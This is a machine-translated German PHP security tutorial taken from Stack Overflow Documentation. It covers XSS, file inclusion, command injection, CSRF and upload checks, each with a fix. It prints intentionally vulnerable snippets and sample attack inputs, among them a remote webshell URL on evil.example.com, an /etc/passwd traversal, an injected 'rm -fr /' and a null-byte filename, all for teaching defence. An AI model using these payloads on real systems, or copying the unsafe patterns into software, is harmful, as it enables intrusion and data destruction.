Suche…


Einführung

Da die Mehrzahl der Websites mit PHP auskommt, ist die Anwendungssicherheit für PHP-Entwickler ein wichtiges Thema, um ihre Website, Daten und Kunden zu schützen. In diesem Thema werden die besten Sicherheitspraktiken in PHP sowie häufige Schwachstellen und Schwachstellen mit Beispielkorrekturen in PHP behandelt.

Bemerkungen

Siehe auch

Fehler melden

Standardmäßig gibt PHP Fehler , Warnungen und Hinweismeldungen direkt auf der Seite aus, wenn in einem Skript etwas Unerwartetes auftritt. Dies ist nützlich, um bestimmte Probleme mit einem Skript zu lösen, gibt aber gleichzeitig Informationen aus, die Ihre Benutzer nicht wissen sollen.

Es ist daher empfehlenswert, solche Meldungen nicht anzuzeigen, die Informationen zu Ihrem Server enthalten, wie zum Beispiel Ihre Verzeichnisstruktur in Produktionsumgebungen. In einer Entwicklungs- oder Testumgebung können diese Meldungen dennoch zu Debugging-Zwecken angezeigt werden.

Eine schnelle Lösung

Sie können sie deaktivieren, sodass die Nachrichten nicht angezeigt werden. Dies erschwert jedoch das Debuggen Ihres Skripts.

<?php
  ini_set("display_errors", "0");
?>

Oder ändern Sie sie direkt in der php.ini .

display_errors = 0

Fehler behandeln

Eine bessere Option wäre, diese Fehlermeldungen an einem Ort zu speichern, an dem sie nützlicher sind, beispielsweise in einer Datenbank:

set_error_handler(function($errno , $errstr, $errfile, $errline){
  try{
    $pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
      PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    ]);

    if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
      if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
        throw new Exception('Unable to execute query');
      }
    } else {
      throw new Exception('Unable to prepare query');
    }
  } catch (Exception $e){
    error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
  }
});

Bei dieser Methode werden die Nachrichten in der Datenbank protokolliert. Wenn dies fehlschlägt, wird die Datei nicht direkt in der Seite angezeigt. Auf diese Weise können Sie verfolgen, was Nutzer auf Ihrer Website feststellen, und Sie sofort benachrichtigen, wenn etwas schief geht.

Cross-Site-Scripting (XSS)

Problem

Cross-Site-Scripting ist die unbeabsichtigte Ausführung von Remote-Code durch einen Web-Client. Jede Webanwendung kann sich XSS aussetzen, wenn sie Eingaben eines Benutzers entgegennimmt und diese direkt auf einer Webseite ausgibt. Wenn die Eingabe HTML oder JavaScript enthält, kann Remote-Code ausgeführt werden, wenn dieser Inhalt vom Web-Client gerendert wird.

Wenn zum Beispiel eine Seite eines Drittanbieters eine JavaScript- Datei enthält:

// http://example.com/runme.js
document.write("I'm running");

Und eine PHP-Anwendung gibt direkt einen übergebenen String aus:

<?php
echo '<div>' . $_GET['input'] . '</div>';

Wenn ein ungeprüfter GET-Parameter <script src="http://example.com/runme.js"></script> enthält, <script src="http://example.com/runme.js"></script> die Ausgabe des PHP-Scripts:

<div><script src="http://example.com/runme.js"></script></div>

Das Drittanbieter-JavaScript wird ausgeführt, und der Benutzer wird auf der Webseite "Ich bin aktiv" sehen.

Lösung

Vertrauen Sie in der Regel niemals der Eingabe eines Kunden. Jeder GET-, POST- und Cookie-Wert kann alles sein und sollte daher validiert werden. Wenn Sie einen dieser Werte ausgeben, sichern Sie ihn, damit er nicht unerwartet ausgewertet wird.

Beachten Sie, dass Daten selbst in den einfachsten Anwendungen verschoben werden können und es schwierig ist, alle Quellen zu verfolgen. Daher ist es eine bewährte Methode, der Ausgabe immer zu entgehen.

PHP bietet je nach Kontext einige Möglichkeiten, die Ausgabe zu umgehen.

Filterfunktionen

Mit den Filterfunktionen von PHP können die Eingabedaten des PHP-Skripts auf viele Arten bereinigt oder validiert werden . Sie sind nützlich, wenn Sie Client-Eingaben speichern oder ausgeben.

HTML-Kodierung

htmlspecialchars konvertiert alle "HTML-Sonderzeichen" in ihre HTML-Kodierungen. htmlspecialchars bedeutet, dass sie nicht als Standard-HTML verarbeitet werden. So beheben Sie unser vorheriges Beispiel mit dieser Methode:

<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';

Würde ausgeben:

<div>&lt;script src=&quot;http://example.com/runme.js&quot;&gt;&lt;/script&gt;</div>

Alles innerhalb des <div> -Tags wird vom Browser nicht als JavaScript-Tag, sondern als einfacher Textknoten interpretiert. Der Benutzer wird sicher sehen:

<script src="http://example.com/runme.js"></script>

URL-Kodierung

Bei der Ausgabe einer dynamisch generierten URL stellt PHP die urlencode Funktion urlencode , um gültige URLs sicher auszugeben. Wenn beispielsweise ein Benutzer Daten eingeben kann, die Teil eines anderen GET-Parameters werden:

<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';

Jede schädliche Eingabe wird in einen codierten URL-Parameter konvertiert.

Verwendung spezieller externer Bibliotheken oder OWASP AntiSamy-Listen

Manchmal möchten Sie HTML- oder andere Codeeingaben senden. Sie müssen eine Liste autorisierter Wörter (weiße Liste) und nicht autorisierte Wörter (schwarze Liste) führen.

Sie können Standardlisten herunterladen, die auf der OWASP AntiSamy-Website verfügbar sind . Jede Liste ist für eine bestimmte Art von Interaktion geeignet (Ebay-API, tinyMCE usw.). Und es ist Open Source.

Es gibt Bibliotheken, um HTML zu filtern und XSS-Angriffe für den allgemeinen Fall zu verhindern und mindestens so gut wie AntiSamy-Listen mit sehr einfacher Verwendung auszuführen. Zum Beispiel haben Sie HTML Purifier

Dateiaufnahme

Remote File Inclusion

Remote File Inclusion (auch bekannt als RFI) ist eine Art von Sicherheitsanfälligkeit, durch die ein Angreifer eine Remote-Datei hinzufügen kann.

In diesem Beispiel wird eine remote gehostete Datei mit schädlichem Code eingefügt:

<?php
include $_GET['page'];

/vulnerable.php?page= http://evil.example.com/webshell.txt ?

Lokale Dateieinbeziehung

Beim Einschließen von lokalen Dateien (auch als LFI bezeichnet) werden Dateien auf einem Server über den Webbrowser eingebunden.

<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
    include $page;
} else {
    include 'index.php';
}

/vulnerable.php?page=../../../../etc/passwd

Lösung für RFI & LFI:

Es wird empfohlen, nur das Einschließen von Dateien zuzulassen, die Sie genehmigt haben, und auf diese nur zu beschränken.

<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
    include($page);
} else {
    include('index.php');
}

Befehlszeileninjektion

Problem

Auf ähnliche Weise wie bei der SQL-Injektion kann ein Angreifer beliebige Abfragen in einer Datenbank ausführen. Mit der Befehlszeileninjektion können Benutzer nicht vertrauenswürdige Systembefehle auf einem Webserver ausführen. Bei einem nicht ordnungsgemäß gesicherten Server würde ein Angreifer die vollständige Kontrolle über ein System erhalten.

Angenommen, ein Skript ermöglicht es einem Benutzer, Verzeichnisinhalte auf einem Webserver aufzulisten.

<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>

(In einer realen Anwendung würde man die integrierten Funktionen oder Objekte von PHP verwenden, um Pfadinhalte abzurufen. In diesem Beispiel wird eine einfache Sicherheitsdemonstration gezeigt.)

Man würde hoffen , einen bekommen path Parameter ähnlich wie /tmp . Aber da jede Eingabe erlaubt ist, könnte path sein ; rm -fr / . Der Webserver würde dann den Befehl ausführen

ls; rm -fr /

und versuchen Sie, alle Dateien aus dem Stammverzeichnis des Servers zu löschen.

Lösung

Alle Befehlsargumente müssen mit entwertet werden escapeshellarg() oder escapeshellcmd() . Dadurch werden die Argumente nicht ausführbar. Für jeden Parameter sollte auch der Eingabewert geprüft werden .

Im einfachsten Fall können wir unser Beispiel mit sichern

<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>

Nach dem vorherigen Beispiel mit dem Versuch, Dateien zu entfernen, wird der ausgeführte Befehl

ls '; rm -fr /'

Und der String wird einfach als Parameter an ls , anstatt den Befehl ls beenden und rm .

Es ist zu beachten, dass das obige Beispiel jetzt vor der Befehlsinjektion sicher ist, nicht jedoch vor dem Durchsuchen von Verzeichnissen. Um dies zu beheben, sollte überprüft werden, dass der normalisierte Pfad mit dem gewünschten Unterverzeichnis beginnt.

PHP bietet eine Vielzahl von Funktionen zum Ausführen von Systembefehlen, einschließlich exec , passthru , proc_open , shell_exec und system . Alle müssen ihre Eingaben sorgfältig validiert und entkommen lassen.

PHP Version Leakage

Standardmäßig teilt PHP der Welt mit, welche PHP-Version Sie verwenden, z

X-Powered-By: PHP/5.3.8

Um dies zu beheben, können Sie entweder php.ini ändern:

expose_php = off

Oder ändern Sie den Header:

header("X-Powered-By: Magic");

Oder wenn Sie eine htaccess-Methode bevorzugen:

Header unset X-Powered-By

Wenn eine der oben genannten Methoden nicht funktioniert, gibt es auch die Funktion header_remove() , mit der Sie den Header entfernen können:

header_remove('X-Powered-By');

Wenn Angreifer wissen, dass Sie PHP und die von Ihnen verwendete PHP-Version verwenden, können sie Ihren Server leichter ausnutzen.

Tags entfernen

strip_tags ist eine sehr leistungsfähige Funktion, wenn Sie wissen, wie man sie benutzt. Als Methode zur Verhinderung von Cross-Site-Scripting-Angriffen gibt es bessere Methoden, beispielsweise die Zeichenkodierung. In einigen Fällen ist das Entfernen von Tags jedoch hilfreich.

Basisbeispiel

$string = '<b>Hello,<> please remove the <> tags.</b>';

echo strip_tags($string);

Rohausgabe

Hello, please remove the tags.

Tags zulassen

Angenommen, Sie wollten ein bestimmtes Tag, aber keine anderen Tags zulassen, würden Sie dies im zweiten Parameter der Funktion angeben. Dieser Parameter ist optional. In meinem Fall möchte ich nur, dass das <b> -Tag durchgereicht wird.

$string = '<b>Hello,<> please remove the <br> tags.</b>';

echo strip_tags($string, '<b>');

Rohausgabe

<b>Hello, please remove the  tags.</b>

Bekanntmachung (en)

HTML Kommentare und PHP Tags werden ebenfalls entfernt. Dies ist fest codiert und kann nicht mit allowable_tags geändert werden.

In PHP 5.3.4 und höher werden selbstschließende XHTML Tags ignoriert, und in allowable_tags sollten nur nicht selbstschließende Tags verwendet werden. Zum Beispiel die beiden zu ermöglichen <br> und <br/> , sollten Sie verwenden:

<?php
strip_tags($input, '<br>');
?>

Cross-Site Request Forgery

Problem

Cross-Site Request Forgery oder CSRF kann dazu führen, dass Endbenutzer böswillige Anfragen an einen Webserver unwissentlich generieren. Dieser Angriffsvektor kann sowohl in POST- als auch in GET-Anforderungen ausgenutzt werden. /delete.php?accnt=12 der URL-Endpunkt /delete.php?accnt=12 löscht das Konto, das aus dem accnt Parameter einer GET-Anforderung übergeben wird. Wenn nun ein authentifizierter Benutzer in einer anderen Anwendung auf das folgende Skript stößt

<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">

Das Konto würde gelöscht werden.

Lösung

Eine häufige Lösung für dieses Problem ist die Verwendung von CSRF-Token . CSRF-Token werden in Anforderungen eingebettet, sodass eine Webanwendung darauf vertrauen kann, dass eine Anforderung aus einer erwarteten Quelle als Teil des normalen Workflows der Anwendung stammt. Zunächst führt der Benutzer eine Aktion aus, z. B. das Anzeigen eines Formulars, durch die ein eindeutiges Token erstellt wird. Ein Beispielformular, das dies implementiert, könnte wie folgt aussehen

<form method="get" action="/delete.php">
  <input type="text" name="accnt" placeholder="accnt number" />
  <input type="hidden" name="csrf_token" value="<randomToken>" />
  <input type="submit" />
</form>

Das Token kann dann vom Server anhand der Benutzersitzung nach dem Senden des Formulars überprüft werden, um böswillige Anfragen zu eliminieren.

Beispielcode

Beispielcode für eine grundlegende Implementierung:

/* Code to generate a CSRF token and store the same */
...
<?php
  session_start();
  function generate_token() {
    // Check if a token is present for the current session
    if(!isset($_SESSION["csrf_token"])) {
        // No token present, generate a new one
        $token = random_bytes(64);
        $_SESSION["csrf_token"] = $token;
    } else {
        // Reuse the token
        $token = $_SESSION["csrf_token"];
    }
    return $token;
  }
?>
<body>
  <form method="get" action="/delete.php">
    <input type="text" name="accnt" placeholder="accnt number" />
    <input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
    <input type="submit" />
  </form>
</body>
...


/* Code to validate token and drop malicious requests */
...
<?php
  session_start();
  if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
    // Reset token
    unset($_SESSION["csrf_token"]);
    die("CSRF token validation failed");
  }
?>
...

Es gibt bereits viele Bibliotheken und Frameworks, die ihre eigene Implementierung der CSRF-Validierung haben. Obwohl dies die einfache Implementierung von CSRF ist, müssen Sie etwas Code schreiben, um Ihr CSRF-Token dynamisch neu zu generieren, um das Stehlen und Fixieren von CSRF-Token zu verhindern.

Dateien hochladen

Wenn Sie möchten, dass Benutzer Dateien auf Ihren Server hochladen, müssen Sie einige Sicherheitsprüfungen durchführen, bevor Sie die hochgeladene Datei tatsächlich in Ihr Webverzeichnis verschieben.

Die hochgeladenen Daten:

Dieses Array enthält vom Benutzer übermittelte Daten und enthält keine Informationen über die Datei selbst. Während diese Daten normalerweise vom Browser generiert werden, können Sie mithilfe von Software problemlos eine Post-Anfrage an dasselbe Formular senden.

$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
  • name - Überprüfen Sie jeden Aspekt.
  • type - Verwenden Sie niemals diese Daten. Es kann stattdessen mithilfe von PHP-Funktionen abgerufen werden.
  • size - sicher zu bedienen.
  • tmp_name - Sicher zu verwenden.

Den Dateinamen ausnutzen

Normalerweise erlaubt das Betriebssystem keine bestimmten Zeichen in einem Dateinamen, aber durch Spoofing der Anforderung können Sie sie hinzufügen, um unerwartete Ereignisse zuzulassen. Zum Beispiel können wir die Datei benennen:

../script.php%00.png

Schauen Sie sich den Dateinamen genau an und Sie sollten ein paar Dinge beachten.

  1. Der erste, der auffällt, ist der ../ , der in einem Dateinamen völlig unzulässig ist und gleichzeitig vollkommen in Ordnung ist, wenn Sie eine Datei von einem Verzeichnis in ein anderes verschieben, was machen wir richtig?
  2. Jetzt denken Sie vielleicht, dass Sie die Dateierweiterungen in Ihrem Skript ordnungsgemäß überprüft haben. Dieser Exploit hängt jedoch von der URL-Dekodierung ab. Dabei wird %00 in ein null . Im Wesentlichen wird an das Betriebssystem erinnert, dass diese Zeichenfolge hier endet und die Dateinamenerweiterung .png entfernt wird .

Jetzt habe ich script.php in ein anderes Verzeichnis hochgeladen und dabei einfache Überprüfungen an Dateierweiterungen übergeben. Es übergeht auch .htaccess Dateien, wodurch die Ausführung von Skripts in Ihrem Upload-Verzeichnis nicht möglich ist.


Den Dateinamen und die Erweiterung sicher abrufen

Sie können pathinfo() , um den Namen und die Erweiterung auf eine sichere Art und Weise zu extrapolieren. Zunächst müssen jedoch unerwünschte Zeichen im Dateinamen ersetzt werden:

// This array contains a list of characters not allowed in a filename
$illegal   = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename  = str_replace($illegal, "-", $_FILES['file']['name']);

$pathinfo  = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename  = $pathinfo['filename']  ? $pathinfo['filename']:'';

if(!empty($extension) && !empty($filename)){
  echo $filename, $extension;
} else {
  die('file is missing an extension or name');
}

Während wir jetzt einen Dateinamen und eine Erweiterung haben, die zum Speichern verwendet werden können, bevorzuge ich es immer noch, diese Informationen in einer Datenbank zu speichern und dieser Datei einen generierten Namen zu geben, beispielsweise md5(uniqid().microtime())

+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title  | extension | mime       | size | filename                         | time                |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1  | myfile | txt       | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+

Dies würde das Problem doppelter Dateinamen und unvorhergesehener Exploits im Dateinamen beheben. Der Angreifer könnte dadurch auch erraten, wo die Datei gespeichert wurde, da er oder sie nicht speziell für die Ausführung zielen kann.


MIME-Typ-Überprüfung

Das Überprüfen einer Dateierweiterung, um festzustellen, um welche Datei es sich handelt, reicht nicht aus, da eine Datei image.png kann, aber sehr wohl ein PHP-Skript enthalten kann. Durch Überprüfen des Mime-Typs der hochgeladenen Datei mit einer Dateierweiterung können Sie überprüfen, ob die Datei enthält, worauf sich der Name bezieht.

Sie können sogar einen Schritt weitergehen, um Bilder zu validieren, und das öffnet sie tatsächlich:

if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
  if($img = imagecreatefromjpeg($filename)){
    imagedestroy($img);
  } else {
    die('image failed to open, could be corrupt or the file contains something else.');
  }
}

Sie können den Mime-Typ mithilfe einer eingebauten Funktion oder einer Klasse abrufen .


Weiße Auflistung Ihrer Uploads

Am wichtigsten ist jedoch, dass Sie die Dateierweiterungen und Mime-Typen je nach Formular auf die Positivliste setzen.

function isFiletypeAllowed($extension, $mime, array $allowed)
{
    return  isset($allowed[$mime]) &&
            is_array($allowed[$mime]) &&
            in_array($extension, $allowed[$mime]);
}

$allowedFiletypes = [
    'image/png'  => [ 'png' ],
    'image/gif'  => [ 'gif' ],
    'image/jpeg' => [ 'jpg', 'jpeg' ],
];

var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));


Modified text is an extract of the original Stack Overflow Documentation
Lizenziert unter CC BY-SA 3.0
Nicht angeschlossen an Stack Overflow